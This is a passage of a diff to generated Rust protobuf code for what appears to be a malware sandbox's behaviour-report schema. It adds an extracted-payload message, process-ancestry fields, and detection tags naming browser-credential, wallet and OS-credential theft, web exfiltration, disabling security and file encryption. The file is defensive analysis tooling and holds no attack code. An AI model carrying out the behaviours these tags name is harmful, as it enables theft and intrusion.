::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a ExtractedPayload { + fn default() -> &'a ExtractedPayload { + ::default_instance() + } +} + +impl ExtractedPayload { + pub fn new() -> ExtractedPayload { + ::std::default::Default::default() + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(6); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "sha256", + |m: &ExtractedPayload| { &m.sha256 }, + |m: &mut ExtractedPayload| { &mut m.sha256 }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "type", + |m: &ExtractedPayload| { &m.type_ }, + |m: &mut ExtractedPayload| { &mut m.type_ }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "size", + |m: &ExtractedPayload| { &m.size }, + |m: &mut ExtractedPayload| { &mut m.size }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "payload_type", + |m: &ExtractedPayload| { &m.payload_type }, + |m: &mut ExtractedPayload| { &mut m.payload_type }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "process_name", + |m: &ExtractedPayload| { &m.process_name }, + |m: &mut ExtractedPayload| { &mut m.process_name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, ::protobuf::well_known_types::timestamp::Timestamp>( + "timestamp", + |m: &ExtractedPayload| { &m.timestamp }, + |m: &mut ExtractedPayload| { &mut m.timestamp }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "ExtractedPayload", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for ExtractedPayload { + const NAME: &'static str = "ExtractedPayload"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.sha256 = is.read_string()?; + }, + 16 => { + self.type_ = is.read_enum_or_unknown()?; + }, + 24 => { + self.size = is.read_uint64()?; + }, + 34 => { + self.payload_type = is.read_string()?; + }, + 42 => { + self.process_name = is.read_string()?; + }, + 50 => { + ::protobuf::rt::read_singular_message_into_field(is, &mut self.timestamp)?; + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if !self.sha256.is_empty() { + my_size += ::protobuf::rt::string_size(1, &self.sha256); + } + if self.type_ != ::protobuf::EnumOrUnknown::new(super::filetypes::FileType::UNKNOWN) { + my_size += ::protobuf::rt::int32_size(2, self.type_.value()); + } + if self.size != 0 { + my_size += ::protobuf::rt::uint64_size(3, self.size); + } + if !self.payload_type.is_empty() { + my_size += ::protobuf::rt::string_size(4, &self.payload_type); + } + if !self.process_name.is_empty() { + my_size += ::protobuf::rt::string_size(5, &self.process_name); + } + if let Some(v) = self.timestamp.as_ref() { + let len = v.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if !self.sha256.is_empty() { + os.write_string(1, &self.sha256)?; + } + if self.type_ != ::protobuf::EnumOrUnknown::new(super::filetypes::FileType::UNKNOWN) { + os.write_enum(2, ::protobuf::EnumOrUnknown::value(&self.type_))?; + } + if self.size != 0 { + os.write_uint64(3, self.size)?; + } + if !self.payload_type.is_empty() { + os.write_string(4, &self.payload_type)?; + } + if !self.process_name.is_empty() { + os.write_string(5, &self.process_name)?; + } + if let Some(v) = self.timestamp.as_ref() { + ::protobuf::rt::write_message_field_with_cached_size(6, v, os)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> ExtractedPayload { + ExtractedPayload::new() + } + + fn clear(&mut self) { + self.sha256.clear(); + self.type_ = ::protobuf::EnumOrUnknown::new(super::filetypes::FileType::UNKNOWN); + self.size = 0; + self.payload_type.clear(); + self.process_name.clear(); + self.timestamp.clear(); + self.special_fields.clear(); + } + + fn default_instance() -> &'static ExtractedPayload { + static instance: ExtractedPayload = ExtractedPayload { + sha256: ::std::string::String::new(), + type_: ::protobuf::EnumOrUnknown::from_i32(0), + size: 0, + payload_type: ::std::string::String::new(), + process_name: ::std::string::String::new(), + timestamp: ::protobuf::MessageField::none(), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for ExtractedPayload { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("ExtractedPayload").unwrap()).clone() + } +} + +impl ::std::fmt::Display for ExtractedPayload { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for ExtractedPayload { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + // @@protoc_insertion_point(message:vt.fileanalysis.PermissionCheck) #[derive(PartialEq,Clone,Default,Debug)] pub struct PermissionCheck { @@ -4390,6 +4622,10 @@ pub struct ProcessItem { pub parent_process_id: ::std::string::String, // @@protoc_insertion_point(field:vt.fileanalysis.ProcessItem.name) pub name: ::std::string::String, + // @@protoc_insertion_point(field:vt.fileanalysis.ProcessItem.parent_name) + pub parent_name: ::std::string::String, + // @@protoc_insertion_point(field:vt.fileanalysis.ProcessItem.ancestor_names) + pub ancestor_names: ::std::vec::Vec<::std::string::String>, // @@protoc_insertion_point(field:vt.fileanalysis.ProcessItem.start_time) pub start_time: u64, // @@protoc_insertion_point(field:vt.fileanalysis.ProcessItem.termination_time) @@ -4419,7 +4655,7 @@ impl ProcessItem { } fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { - let mut fields = ::std::vec::Vec::with_capacity(9); + let mut fields = ::std::vec::Vec::with_capacity(11); let mut oneofs = ::std::vec::Vec::with_capacity(0); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( "process_id", @@ -4436,6 +4672,16 @@ impl ProcessItem { |m: &ProcessItem| { &m.name }, |m: &mut ProcessItem| { &mut m.name }, )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "parent_name", + |m: &ProcessItem| { &m.parent_name }, + |m: &mut ProcessItem| { &mut m.parent_name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "ancestor_names", + |m: &ProcessItem| { &m.ancestor_names }, + |m: &mut ProcessItem| { &mut m.ancestor_names }, + )); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( "start_time", |m: &ProcessItem| { &m.start_time }, @@ -4493,6 +4739,12 @@ impl ::protobuf::Message for ProcessItem { 26 => { self.name = is.read_string()?; }, + 82 => { + self.parent_name = is.read_string()?; + }, + 90 => { + self.ancestor_names.push(is.read_string()?); + }, 32 => { self.start_time = is.read_uint64()?; }, @@ -4532,6 +4784,12 @@ impl ::protobuf::Message for ProcessItem { if !self.name.is_empty() { my_size += ::protobuf::rt::string_size(3, &self.name); } + if !self.parent_name.is_empty() { + my_size += ::protobuf::rt::string_size(10, &self.parent_name); + } + for value in &self.ancestor_names { + my_size += ::protobuf::rt::string_size(11, &value); + }; if self.start_time != 0 { my_size += ::protobuf::rt::uint64_size(4, self.start_time); } @@ -4566,6 +4824,12 @@ impl ::protobuf::Message for ProcessItem { if !self.name.is_empty() { os.write_string(3, &self.name)?; } + if !self.parent_name.is_empty() { + os.write_string(10, &self.parent_name)?; + } + for v in &self.ancestor_names { + os.write_string(11, &v)?; + }; if self.start_time != 0 { os.write_uint64(4, self.start_time)?; } @@ -4604,6 +4868,8 @@ impl ::protobuf::Message for ProcessItem { self.process_id.clear(); self.parent_process_id.clear(); self.name.clear(); + self.parent_name.clear(); + self.ancestor_names.clear(); self.start_time = 0; self.termination_time = 0; self.files_opened.clear(); @@ -4618,6 +4884,8 @@ impl ::protobuf::Message for ProcessItem { process_id: ::std::string::String::new(), parent_process_id: ::std::string::String::new(), name: ::std::string::String::new(), + parent_name: ::std::string::String::new(), + ancestor_names: ::std::vec::Vec::new(), start_time: 0, termination_time: 0, files_opened: ::std::vec::Vec::new(), @@ -4780,6 +5048,24 @@ pub enum BehaviourTag { SETS_PROCESS_NAME = 64, // @@protoc_insertion_point(enum_value:vt.fileanalysis.BehaviourTag.QR_CODE) QR_CODE = 65, + // @@protoc_insertion_point(enum_value:vt.fileanalysis.BehaviourTag.BROWSER_CREDS) + BROWSER_CREDS = 66, + // @@protoc_insertion_point(enum_value:vt.fileanalysis.BehaviourTag.CRYPTO_WALLETS) + CRYPTO_WALLETS = 67, + // @@protoc_insertion_point(enum_value:vt.fileanalysis.BehaviourTag.OS_CREDENTIALS) + OS_CREDENTIALS = 68, + // @@protoc_insertion_point(enum_value:vt.fileanalysis.BehaviourTag.WEB_EXFIL) + WEB_EXFIL = 69, + // @@protoc_insertion_point(enum_value:vt.fileanalysis.BehaviourTag.UNSIGNED_EXEC) + UNSIGNED_EXEC = 70, + // @@protoc_insertion_point(enum_value:vt.fileanalysis.BehaviourTag.STRIP_QUARANTINE) + STRIP_QUARANTINE = 71, + // @@protoc_insertion_point(enum_value:vt.fileanalysis.BehaviourTag.DISABLES_SECURITY) + DISABLES_SECURITY = 72, + // @@protoc_insertion_point(enum_value:vt.fileanalysis.BehaviourTag.CHECKS_VM) + CHECKS_VM = 73, + // @@protoc_insertion_point(enum_value:vt.fileanalysis.BehaviourTag.ENCRYPTS_FILES) + ENCRYPTS_FILES = 74, } impl ::protobuf::Enum for BehaviourTag { @@ -4856,6 +5142,15 @@ impl ::protobuf::Enum for BehaviourTag { 63 => ::std::option::Option::Some(BehaviourTag::LISTENS), 64 => ::std::option::Option::Some(BehaviourTag::SETS_PROCESS_NAME), 65 => ::std::option::Option::Some(BehaviourTag::QR_CODE), + 66 => ::std::option::Option::Some(BehaviourTag::BROWSER_CREDS), + 67 => ::std::option::Option::Some(BehaviourTag::CRYPTO_WALLETS), + 68 => ::std::option::Option::Some(BehaviourTag::OS_CREDENTIALS), + 69 => ::std::option::Option::Some(BehaviourTag::WEB_EXFIL), + 70 => ::std::option::Option::Some(BehaviourTag::UNSIGNED_EXEC), + 71 => ::std::option::Option::Some(BehaviourTag::STRIP_QUARANTINE), + 72 => ::std::option::Option::Some(BehaviourTag::DISABLES_SECURITY), + 73 => ::std::option::Option::Some(BehaviourTag::CHECKS_VM), + 74 => ::std::option::Option::Some(BehaviourTag::ENCRYPTS_FILES), _ => ::std::option::Option::None } } @@ -4927,6 +5222,15 @@ impl ::protobuf::Enum for BehaviourTag { "LISTENS" => ::std::option::Option::Some(BehaviourTag::LISTENS), "SETS_PROCESS_NAME" => ::std::option::Option::Some(BehaviourTag::SETS_PROCESS_NAME), "QR_CODE" => ::std::option::Option::Some(BehaviourTag::QR_CODE), + "BROWSER_CREDS" => ::std::option::Option::Some(BehaviourTag::BROWSER_CREDS), + "CRYPTO_WALLETS" => ::std::option::Option::Some(BehaviourTag::CRYPTO_WALLETS), + "OS_CREDENTIALS" => ::std::option::Option::Some(BehaviourTag::OS_CREDENTIALS), + "WEB_EXFIL" => ::std::option::Option::Some(BehaviourTag::WEB_EXFIL), + "UNSIGNED_EXEC" => ::std::option::Option::Some(BehaviourTag::UNSIGNED_EXEC), + "STRIP_QUARANTINE" => ::std::option::Option::Some(BehaviourTag::STRIP_QUARANTINE), + "DISABLES_SECURITY" => ::std::option::Option::Some(BehaviourTag::DISABLES_SECURITY), + "CHECKS_VM" => ::std::option::Option::Some(BehaviourTag::CHECKS_VM), + "ENCRYPTS_FILES" => ::std::option::Option::Some(BehaviourTag::ENCRYPTS_FILES), _ => ::std::option::Option::None } } @@ -4997,6 +5301,15 @@ impl ::protobuf::Enum for BehaviourTag { BehaviourTag::LISTENS, BehaviourTag::SETS_PROCESS_NAME, BehaviourTag::QR_CODE, + BehaviourTag::BROWSER_CREDS, + BehaviourTag::CRYPTO_WALLETS, + BehaviourTag::OS_CREDENTIALS, + BehaviourTag::WEB_EXFIL, + BehaviourTag::UNSIGNED_EXEC, + BehaviourTag::STRIP_QUARANTINE, + BehaviourTag::DISABLES_SECURITY, + BehaviourTag::CHECKS_VM, + BehaviourTag::ENCRYPTS_FILES, ]; } @@ -5073,6 +5386,15 @@ impl ::protobuf::EnumFull for BehaviourTag { BehaviourTag::LISTENS => 62, BehaviourTag::SETS_PROCESS_NAME => 63, BehaviourTag::QR_CODE => 64, + BehaviourTag::BROWSER_CREDS => 65, + BehaviourTag::CRYPTO_WALLETS => 66, + BehaviourTag::OS_CREDENTIALS => 67, + BehaviourTag::WEB_EXFIL => 68, + BehaviourTag::UNSIGNED_EXEC => 69, + BehaviourTag::STRIP_QUARANTINE => 70, + BehaviourTag::DISABLES_SECURITY => 71, + BehaviourTag::CHECKS_VM => 72, + BehaviourTag::ENCRYPTS_FILES => 73, }; Self::enum_descriptor().value_by_index(index) } @@ -5290,33 +5612,35 @@ impl ImpactSeverity { } static file_descriptor_proto_data: &'static [u8] = b"\ - \n\x10vt/sandbox.proto\x12\x0fvt.fileanalysis\x1a\x12vt/filetypes.proto\ - \x1a\x0evt/sigma.proto\x1a\x1bvt/tools/net_analysis.proto\x1a\nyara.prot\ - o\"\xcd\x1b\n\x10BehaviourSummary\x12!\n\x0cfiles_opened\x18\x01\x20\x03\ - (\tR\x0bfilesOpened\x12#\n\rfiles_written\x18\x02\x20\x03(\tR\x0cfilesWr\ - itten\x12#\n\rfiles_deleted\x18\x03\x20\x03(\tR\x0cfilesDeleted\x12<\n\ - \x0cfiles_copied\x18\x04\x20\x03(\x0b2\x19.vt.fileanalysis.FileCopyR\x0b\ - filesCopied\x126\n\x17files_attribute_changed\x18\x05\x20\x03(\tR\x15fil\ - esAttributeChanged\x12A\n\rfiles_dropped\x18\x06\x20\x03(\x0b2\x1c.vt.fi\ - leanalysis.DroppedFileR\x0cfilesDropped\x12\x1d\n\nhosts_file\x18\x07\ - \x20\x01(\tR\thostsFile\x12C\n\x0eprocesses_list\x18K\x20\x03(\x0b2\x1c.\ - vt.fileanalysis.ProcessItemR\rprocessesList\x12+\n\x11processes_created\ - \x18\t\x20\x03(\tR\x10processesCreated\x121\n\x14processes_terminated\ - \x18\n\x20\x03(\tR\x13processesTerminated\x12)\n\x10processes_killed\x18\ - \x0b\x20\x03(\tR\x0fprocessesKilled\x12-\n\x12processes_injected\x18\x0c\ - \x20\x03(\tR\x11processesInjected\x12-\n\x12command_executions\x18\r\x20\ - \x03(\tR\x11commandExecutions\x12'\n\x0fservices_opened\x18\x0e\x20\x03(\ - \tR\x0eservicesOpened\x12)\n\x10services_created\x18\x0f\x20\x03(\tR\x0f\ - servicesCreated\x12)\n\x10services_started\x18\x10\x20\x03(\tR\x0fservic\ - esStarted\x12)\n\x10services_stopped\x18\x11\x20\x03(\tR\x0fservicesStop\ - ped\x12)\n\x10services_deleted\x18\x12\x20\x03(\tR\x0fservicesDeleted\ - \x12%\n\x0eservices_bound\x18\x13\x20\x03(\tR\rservicesBound\x12)\n\x10w\ - indows_searched\x18\x14\x20\x03(\tR\x0fwindowsSearched\x12%\n\x0ewindows\ - _hidden\x18\x15\x20\x03(\tR\rwindowsHidden\x12Q\n\x13permissions_checked\ - \x18\x16\x20\x03(\x0b2\x20.vt.fileanalysis.PermissionCheckR\x12permissio\ - nsChecked\x123\n\x15permissions_requested\x18\x17\x20\x03(\tR\x14permiss\ - ionsRequested\x12%\n\x0emutexes_opened\x18\x18\x20\x03(\tR\rmutexesOpene\ - d\x12'\n\x0fmutexes_created\x18\x19\x20\x03(\tR\x0emutexesCreated\x12)\n\ + \n\x10vt/sandbox.proto\x12\x0fvt.fileanalysis\x1a\x1fgoogle/protobuf/tim\ + estamp.proto\x1a\x12vt/filetypes.proto\x1a\x0evt/sigma.proto\x1a\x1bvt/t\ + ools/net_analysis.proto\x1a\nyara.proto\"\x9f\x1c\n\x10BehaviourSummary\ + \x12!\n\x0cfiles_opened\x18\x01\x20\x03(\tR\x0bfilesOpened\x12#\n\rfiles\ + _written\x18\x02\x20\x03(\tR\x0cfilesWritten\x12#\n\rfiles_deleted\x18\ + \x03\x20\x03(\tR\x0cfilesDeleted\x12<\n\x0cfiles_copied\x18\x04\x20\x03(\ + \x0b2\x19.vt.fileanalysis.FileCopyR\x0bfilesCopied\x126\n\x17files_attri\ + bute_changed\x18\x05\x20\x03(\tR\x15filesAttributeChanged\x12A\n\rfiles_\ + dropped\x18\x06\x20\x03(\x0b2\x1c.vt.fileanalysis.DroppedFileR\x0cfilesD\ + ropped\x12P\n\x12payloads_extracted\x18T\x20\x03(\x0b2!.vt.fileanalysis.\ + ExtractedPayloadR\x11payloadsExtracted\x12\x1d\n\nhosts_file\x18\x07\x20\ + \x01(\tR\thostsFile\x12C\n\x0eprocesses_list\x18K\x20\x03(\x0b2\x1c.vt.f\ + ileanalysis.ProcessItemR\rprocessesList\x12+\n\x11processes_created\x18\ + \t\x20\x03(\tR\x10processesCreated\x121\n\x14processes_terminated\x18\n\ + \x20\x03(\tR\x13processesTerminated\x12)\n\x10processes_killed\x18\x0b\ + \x20\x03(\tR\x0fprocessesKilled\x12-\n\x12processes_injected\x18\x0c\x20\ + \x03(\tR\x11processesInjected\x12-\n\x12command_executions\x18\r\x20\x03\ + (\tR\x11commandExecutions\x12'\n\x0fservices_opened\x18\x0e\x20\x03(\tR\ + \x0eservicesOpened\x12)\n\x10services_created\x18\x0f\x20\x03(\tR\x0fser\ + vicesCreated\x12)\n\x10services_started\x18\x10\x20\x03(\tR\x0fservicesS\ + tarted\x12)\n\x10services_stopped\x18\x11\x20\x03(\tR\x0fservicesStopped\ + \x12)\n\x10services_deleted\x18\x12\x20\x03(\tR\x0fservicesDeleted\x12%\ + \n\x0eservices_bound\x18\x13\x20\x03(\tR\rservicesBound\x12)\n\x10window\ + s_searched\x18\x14\x20\x03(\tR\x0fwindowsSearched\x12%\n\x0ewindows_hidd\ + en\x18\x15\x20\x03(\tR\rwindowsHidden\x12Q\n\x13permissions_checked\x18\ + \x16\x20\x03(\x0b2\x20.vt.fileanalysis.PermissionCheckR\x12permissionsCh\ + ecked\x123\n\x15permissions_requested\x18\x17\x20\x03(\tR\x14permissions\ + Requested\x12%\n\x0emutexes_opened\x18\x18\x20\x03(\tR\rmutexesOpened\ + \x12'\n\x0fmutexes_created\x18\x19\x20\x03(\tR\x0emutexesCreated\x12)\n\ \x10signals_observed\x18\x1a\x20\x03(\tR\x0fsignalsObserved\x12%\n\x0esi\ gnals_hooked\x18\x1b\x20\x03(\tR\rsignalsHooked\x12%\n\x0emodules_loaded\ \x18\x1c\x20\x03(\tR\rmodulesLoaded\x12+\n\x11calls_highlighted\x18\x1d\ @@ -5380,129 +5704,140 @@ static file_descriptor_proto_data: &'static [u8] = b"\ (\tR\x06sha256\x12-\n\x04type\x18\x03\x20\x01(\x0e2\x19.vt.fileanalysis.\ FileTypeR\x04type\x12!\n\x0cdownload_url\x18\x05\x20\x01(\tR\x0bdownload\ Url\x12!\n\x0cprocess_name\x18\x06\x20\x01(\tR\x0bprocessName\x12\x1d\n\ - \nprocess_id\x18\x07\x20\x01(\tR\tprocessId\"G\n\x0fPermissionCheck\x12\ - \x1e\n\npermission\x18\x01\x20\x01(\tR\npermission\x12\x14\n\x05owner\ - \x18\x02\x20\x01(\tR\x05owner\"2\n\x08KeyValue\x12\x10\n\x03key\x18\x01\ - \x20\x01(\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value\"\ - \xcb\x06\n\x10HttpConversation\x12\x10\n\x03url\x18\x01\x20\x01(\tR\x03u\ - rl\x12V\n\x0erequest_method\x18\x02\x20\x01(\x0e2/.vt.fileanalysis.HttpC\ - onversation.RequestMethodR\rrequestMethod\x12^\n\x0frequest_headers\x18\ - \x03\x20\x03(\x0b25.vt.fileanalysis.HttpConversation.RequestHeadersEntry\ - R\x0erequestHeaders\x12a\n\x10response_headers\x18\x04\x20\x03(\x0b26.vt\ - .fileanalysis.HttpConversation.ResponseHeadersEntryR\x0fresponseHeaders\ - \x120\n\x14response_status_code\x18\x05\x20\x01(\x05R\x12responseStatusC\ - ode\x12O\n\x16response_body_filetype\x18\x06\x20\x01(\x0e2\x19.vt.filean\ - alysis.FileTypeR\x14responseBodyFiletype\x12@\n\x1dresponse_body_first_t\ - en_bytes\x18\x07\x20\x01(\x0cR\x19responseBodyFirstTenBytes\x1aA\n\x13Re\ - questHeadersEntry\x12\x10\n\x03key\x18\x01\x20\x01(\tR\x03key\x12\x14\n\ - \x05value\x18\x02\x20\x01(\tR\x05value:\x028\x01\x1aB\n\x14ResponseHeade\ - rsEntry\x12\x10\n\x03key\x18\x01\x20\x01(\tR\x03key\x12\x14\n\x05value\ - \x18\x02\x20\x01(\tR\x05value:\x028\x01\"\xb1\x01\n\rRequestMethod\x12\ - \x0b\n\x07UNKNOWN\x10\0\x12\x07\n\x03GET\x10\x01\x12\x08\n\x04HEAD\x10\ - \x02\x12\x08\n\x04POST\x10\x03\x12\x07\n\x03PUT\x10\x04\x12\n\n\x06DELET\ - E\x10\x05\x12\t\n\x05TRACE\x10\x06\x12\x0b\n\x07OPTIONS\x10\x07\x12\x0b\ - \n\x07CONNECT\x10\x08\x12\t\n\x05PATCH\x10\t\x12\x0c\n\x08PROPFIND\x10\n\ - \x12\t\n\x05SETUP\x10\x0b\x12\n\n\x06UNLOCK\x10\x0c\x1a\x0c\x92\x93\x19\ - \x08\n\x06Method:\n\x8a\x93\x19\x06\n\x04Http\"k\n\tDnsLookup\x12\x1a\n\ - \x08hostname\x18\x01\x20\x01(\tR\x08hostname\x12!\n\x0cresolved_ips\x18\ - \x02\x20\x03(\tR\x0bresolvedIps\x12\x1f\n\x0btxt_records\x18\x03\x20\x03\ - (\tR\ntxtRecords\"\xba\x03\n\tIpTraffic\x12%\n\x0edestination_ip\x18\x01\ - \x20\x01(\tR\rdestinationIp\x12)\n\x10destination_port\x18\x02\x20\x01(\ - \x05R\x0fdestinationPort\x12k\n\x18transport_layer_protocol\x18\x03\x20\ - \x01(\x0e21.vt.fileanalysis.IpTraffic.TransportLayerProtocolR\x16transpo\ - rtLayerProtocol\x12,\n\x12destination_ip_asn\x18\x04\x20\x01(\x03R\x10de\ - stinationIpAsn\x121\n\x15destination_ip_as_int\x18\x05\x20\x01(\x03R\x12\ - destinationIpAsInt\"\x81\x01\n\x16TransportLayerProtocol\x12\x0b\n\x07UN\ - KNOWN\x10\0\x12\x08\n\x04ICMP\x10\x01\x12\x08\n\x04IGMP\x10\x02\x12\x07\ - \n\x03TCP\x10\x06\x12\x07\n\x03UDP\x10\x11\x12\x07\n\x03ESP\x102\x12\x06\ - \n\x02AH\x103\x12\x08\n\x04L2TP\x10s\x12\t\n\x04SCTP\x10\x84\x01\x1a\x0e\ - \x92\x93\x19\n\n\x08Protocol:\t\x8a\x93\x19\x05\n\x03Net\"\xf2\x04\n\x10\ - SmtpConversation\x12\x1a\n\x08hostname\x18\x01\x20\x01(\tR\x08hostname\ - \x12%\n\x0edestination_ip\x18\x02\x20\x01(\tR\rdestinationIp\x12)\n\x10d\ - estination_port\x18\x03\x20\x01(\rR\x0fdestinationPort\x12\x1b\n\tsmtp_f\ - rom\x18\x04\x20\x01(\tR\x08smtpFrom\x12\x17\n\x07smtp_to\x18\x05\x20\x03\ - (\tR\x06smtpTo\x12!\n\x0cmessage_from\x18\x06\x20\x03(\tR\x0bmessageFrom\ - \x12\x1d\n\nmessage_to\x18\x07\x20\x03(\tR\tmessageTo\x12\x1d\n\nmessage\ - _cc\x18\x08\x20\x03(\tR\tmessageCc\x12\x1f\n\x0bmessage_bcc\x18\t\x20\ - \x03(\tR\nmessageBcc\x12\x1c\n\ttimestamp\x18\n\x20\x01(\tR\ttimestamp\ - \x12\x18\n\x07subject\x18\x0b\x20\x01(\tR\x07subject\x12\x1b\n\thtml_bod\ - y\x18\x0c\x20\x01(\tR\x08htmlBody\x12\x19\n\x08txt_body\x18\r\x20\x01(\t\ - R\x07txtBody\x12\x1b\n\tauth_user\x18\x0e\x20\x01(\tR\x08authUser\x12\ - \x1b\n\tauth_pass\x18\x0f\x20\x01(\tR\x08authPass\x123\n\x07headers\x18\ - \x10\x20\x03(\x0b2\x19.vt.fileanalysis.KeyValueR\x07headers\x12>\n\x0bat\ - tachments\x18\x11\x20\x03(\x0b2\x1c.vt.fileanalysis.DroppedFileR\x0batta\ - chments\x12\x19\n\x08x_mailer\x18\x12\x20\x01(\tR\x07xMailer\";\n\x03Sms\ - \x12\x20\n\x0bdestination\x18\x01\x20\x01(\tR\x0bdestination\x12\x12\n\ - \x04body\x18\x02\x20\x01(\tR\x04body\"\xe4\x03\n\x0eSignatureMatch\x12\ - \x0e\n\x02id\x18\x01\x20\x01(\tR\x02id\x12G\n\x06format\x18\x02\x20\x01(\ - \x0e2/.vt.fileanalysis.SignatureMatch.SignatureFormatR\x06format\x12\x12\ - \n\x04name\x18\x03\x20\x01(\tR\x04name\x12\x20\n\x0bdescription\x18\x04\ - \x20\x01(\tR\x0bdescription\x12\x18\n\x07authors\x18\x05\x20\x03(\tR\x07\ - authors\x12\x16\n\x06events\x18\x06\x20\x03(\tR\x06events\x12\x1d\n\nmat\ - ch_data\x18\x07\x20\x03(\tR\tmatchData\x12\x19\n\x08rule_src\x18\x08\x20\ - \x01(\tR\x07ruleSrc\x12;\n\x08severity\x18\t\x20\x01(\x0e2\x1f.vt.filean\ - alysis.ImpactSeverityR\x08severity\"\x99\x01\n\x0fSignatureFormat\x12\ - \x16\n\x12SIG_FORMAT_UNKNOWN\x10\0\x12\x13\n\x0fSIG_FORMAT_YARA\x10\x01\ - \x12\x14\n\x10SIG_FORMAT_SIGMA\x10\x02\x12\x13\n\x0fSIG_FORMAT_CAPA\x10\ - \x03\x12\x16\n\x12SIG_FORMAT_OPENIOC\x10\x04\x12\x16\n\x12SIG_FORMAT_KEY\ - WORD\x10\x05\"\x98\x01\n\x14MitreAttackTechnique\x12\x0e\n\x02id\x18\x01\ - \x20\x01(\tR\x02id\x12;\n\x08severity\x18\x02\x20\x01(\x0e2\x1f.vt.filea\ - nalysis.ImpactSeverityR\x08severity\x123\n\x15signature_description\x18\ - \x03\x20\x01(\tR\x14signatureDescription\"z\n\x16MalwareBehaviorCatalog\ - \x12\x0e\n\x02id\x18\x01\x20\x01(\tR\x02id\x12\x1c\n\tobjective\x18\x02\ - \x20\x01(\tR\tobjective\x12\x1a\n\x08behavior\x18\x03\x20\x01(\tR\x08beh\ - avior\x12\x16\n\x06method\x18\x04\x20\x01(\tR\x06method\"\xe1\x02\n\x0bP\ - rocessItem\x12\x1d\n\nprocess_id\x18\x01\x20\x01(\tR\tprocessId\x12*\n\ - \x11parent_process_id\x18\x02\x20\x01(\tR\x0fparentProcessId\x12\x12\n\ - \x04name\x18\x03\x20\x01(\tR\x04name\x12\x1d\n\nstart_time\x18\x04\x20\ - \x01(\x04R\tstartTime\x12)\n\x10termination_time\x18\x05\x20\x01(\x04R\ - \x0fterminationTime\x12!\n\x0cfiles_opened\x18\x06\x20\x03(\tR\x0bfilesO\ - pened\x12#\n\rfiles_written\x18\x07\x20\x03(\tR\x0cfilesWritten\x12#\n\r\ - files_deleted\x18\x08\x20\x03(\tR\x0cfilesDeleted\x12<\n\x0cfiles_copied\ - \x18\t\x20\x03(\x0b2\x19.vt.fileanalysis.FileCopyR\x0bfilesCopied*\xde\n\ - \n\x0cBehaviourTag\x12\x15\n\x11UNKNOWN_BEHAVIOUR\x10\0\x12\x1c\n\x18DET\ - ECT_DEBUG_ENVIRONMENT\x10\x01\x12\x1b\n\x17DIRECT_CPU_CLOCK_ACCESS\x10\ - \x02\x12\x0f\n\x0bLONG_SLEEPS\x10\x03\x12\x0f\n\x0bSELF_DELETE\x10\x04\ - \x12\x12\n\x0eHOSTS_MODIFIER\x10\x05\x12\x1e\n\x1aINSTALLS_BROWSER_EXTEN\ - SION\x10\x06\x12\x13\n\x0fPASSWORD_DIALOG\x10\x07\x12\x08\n\x04SUDO\x10\ - \x08\x12\x0f\n\x0bPERSISTENCE\x10\t\x12\r\n\tSENDS_SMS\x10\n\x12\x0e\n\n\ - CHECKS_GPS\x10\x0b\x12\x15\n\x11FTP_COMMUNICATION\x10\x0c\x12\x15\n\x11S\ - SH_COMMUNICATION\x10\r\x12\x18\n\x14TELNET_COMMUNICATION\x10\x0e\x12\x16\ - \n\x12SMTP_COMMUNICATION\x10\x0f\x12\x17\n\x13MYSQL_COMMUNICATION\x10\ - \x1a\x12\x15\n\x11IRC_COMMUNICATION\x10\x11\x12\x12\n\x0eSUSPICIOUS_DNS\ - \x10\x12\x12\x12\n\x0eSUSPICIOUS_UDP\x10\x13\x12\x10\n\x0cBIG_UPSTREAM\ - 